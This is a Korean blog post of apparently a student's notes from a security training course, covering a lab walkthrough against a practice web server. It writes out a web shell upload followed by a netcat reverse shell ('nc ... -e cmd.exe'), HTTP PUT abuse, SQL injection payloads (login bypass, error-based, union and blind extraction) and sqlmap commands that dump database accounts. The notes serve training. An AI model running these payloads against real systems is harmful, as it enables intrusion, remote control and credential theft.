네트워크교육 37일차 (2022.02.24)

정상훈·2022년 2월 24일
0
post-thumbnail

Web Shell

1. 챕터2 게시판 webshell.asp 파일 클릭

2. 윈도우 보안 해제

3. 시스템 보안 폴더 utils-netcat 압축해제

4. cmd 로 nc경로 설정

5. webshell에서 nc파일 업로드 경로 실행

6. cmd에서 nc -l -p 1234 포트 

7. C:\wwwroot\lecture\chapter1\upload\upload\upload\upload\nc 아이피주소 1234(포트) -e cmd.exe

8. 리버스터미널 실행 완료

http메소드 확인
nc.exe 아이피주소 80(포트)
OPTIONS / HTTP/1.1
host: 아이피 주소

메소드 어택

nc.exe 아이피주소 80(포트)
PUT /chapter1/upload/test3.html HTTP/1.1
host: 아이피 주소
content-length: 20
test lalallallalaa

sql인젝션

1. Form/bypass sql injection

method = post
name = 변수
id ,pwd 변수에 로그인 하는 사용자의 id, password 를 받는다.

http://아이피주소/member/login_ok.asp?id=아이디&pwd=비밀번호

m_id ='"&' or 1=1==&"' and m_pwd='"&아무거나&"' -----> 로그인됨	

mssql,oracle --
mysql,mariadb #
'or 1=1#

2. error sql injection

보통의 web 사이트에서 아래와 같은 메시지는 통일된 에러페이지로 통합하여 접근할 수 없도록 함.

[입력]
' having 1=1--

[결과]
Microsoft OLE DB Provider for SQL Server error '80040e14'

'member.m_idx' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.

/member/login_ok.asp, line 8

이를 통해서 member 테이블에 m_idx 하는 필드가 존재한다라는 것을 알수 있다.

where having 
필드와 필드를 묶어서 조건을 넣기 위해 만든 절

having 절 같은경우 아래와 같이 GROUP BY 절이 함께한다.

SELECT b.dname, COUNT(a.empno) "사원수" FROM emp a, dept b, WHERE a.deptno = b.deptno
GROUP BY dname HAVING COUNT(a.empno) > 5;


select m_idx, m_id, m_name from member where m_id='"&id&"' and m_pwd='"&pwd&"'

     요청			 	           결과
' having 1=1--			     'member.m_idx'
' group by m_idx--			 'member.m_id'
' group by m_idx,m_id--		 'member.m_name'9
' group by m_idx,m_id,m_name--

[문제]

chapter1 검색 창은 error sql injection 이 되는 것 같습니다.
위와 같이 chapter1의 table 정보와 검색 창 select 필드를 뽑아보자

    [요청]								    [결과]
' having 1=1--							chapter1.idx
' group by chapter1.idx--				chapter1.level_idx
' group by ~,chapter1.level_idx--		chapter1.ref_idx
' group by ~,chapter1.ref_idx--			chapter1.title
' group by ~,chapter1.title--			chapter1.name
' group by ~,chapter1.name-- 	    	chapter1.wtday
' group by ~,chapter1.wtday-- 	        chapter1.hitcnt
' group by ~,chapter1.hitcnt--

3. ' union select

가계부 database
1월 ~ 12월
날짜 수입 지출 내역 비교
보통의 경우, 
select from 1월 where 조건;
....
select from 12월 where 조건;

3-1. union select문

1. 필드의 길이가 같아야 한다.
2. 필드의 데이터 타입이 같아야 한다.

member 테이블의 데이터 형식을 맞추고, 3개의 필드를 적절한 위치에 적용하여 나머지 부분은 무의미한 문자로 채움

'union select null,null,null,null,null,null,null from member--
'union select 0,null,null,null,null,null,null from member--
'union select null,0,null,m_id,null,null,null from member--  <---  	m_idx, m_id, m_name, m_pwd

4. blind sql injection

error sql injection이 서버의 http status에 대한 에러 처리 설정을 했을 경우,
즉각적인 에러 정보를 볼 수 없을 때, 우회를 하기 위한 공격

' and 1=1--
' and 1=2--
----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1' and 1=1--&idx=14&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1' and 1=2--&idx=14&w=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응O-----------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=1-- &w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and 1=2-- &w=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=1--=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w' and 1=2--=&k=

----------------------참과 거짓을 표기하는 쿼리가 반응X--------------------
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=1--=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14&w=&k' and 1=2--=

ASCII코드로 DB이름 찾기

https://ko.wikipedia.org/wiki/ASCII

xx="Provider=sqloledb;Data Source=localhost; Initial Catalog=lecture; User ID=lecture; Password=lecture;"
DB이름 : lecture
db_name() = lecture
	l -> ascii(108) -> isnull 비교 > 107

97부터 시작
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107-- (참)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108-- (거짓)
' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108-- (거짓)


http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 107--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),1,1)),0) > 108--&w=&k=
http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 108--&w=&k=

http://192.168.30.252/chapter4/view.asp?page=1&idx=14' and isnull(ascii(substring(cast((select lower(db_name()))as varchar(20)),2,1)),0) > 101--&w=&k=

sqlmap 을 이용한 blind sql injection

http://192.168.30.252/chapter4/view.asp?page=1&idx=14	공격벡터

ASPSESSIONIDSCSABASA=DLKLFLMCOILAANPJCHBNJFFG	쿠키
  • 0. 사용자 정보 알아내기

sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -p "idx" --level=3 --current-user 

  • 1. 테이블 리스트 확인하기

sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" --dbs


2. 테이블 정보 알아내기

sqlmap -u url -D(Database) --tables
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D "lecture" --tables


3. 테이블 칼럼 정보 추출

sqlmap -u url -T(Table) --column
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column


4. 데이터베이스 계정 정보 추출하기

sqlmap -u url -C(Column) --dump
sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -T "lecture" -T member --column -C m_name --dump


5.

sqlmap -u "http://192.168.30.252/chapter4/view.asp?page=1&idx=14" --cookie="ASPSESSIONIDCSSSBSDR=DJIFLCKDCNDALMJDMGIKLEPL" -D -T --dump

HTTP 상태 코드 https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C
1xx : 조건부 응답
2xx : 성공
3xx : 리다이렉션 완료
4xx : 요청 오류
3xx 4xx 에러 시 불필요한 정보를 야기한다

iis apache nginx tomcat 같은 웹 서버는 http status code 에 대한 에러 처리를 설정에서 할 수 있다.
web server = 독립적으로 서비스를 하는 개체
WAS = Web application을 포함하여 서비스를 하는 개체, 대시보드가 필요하다
apache,nginx등 버전별로 선택
web application(asp,jsp,php등) 버전별로 선택
db 버전별로 선택

profile
"@____

0개의 댓글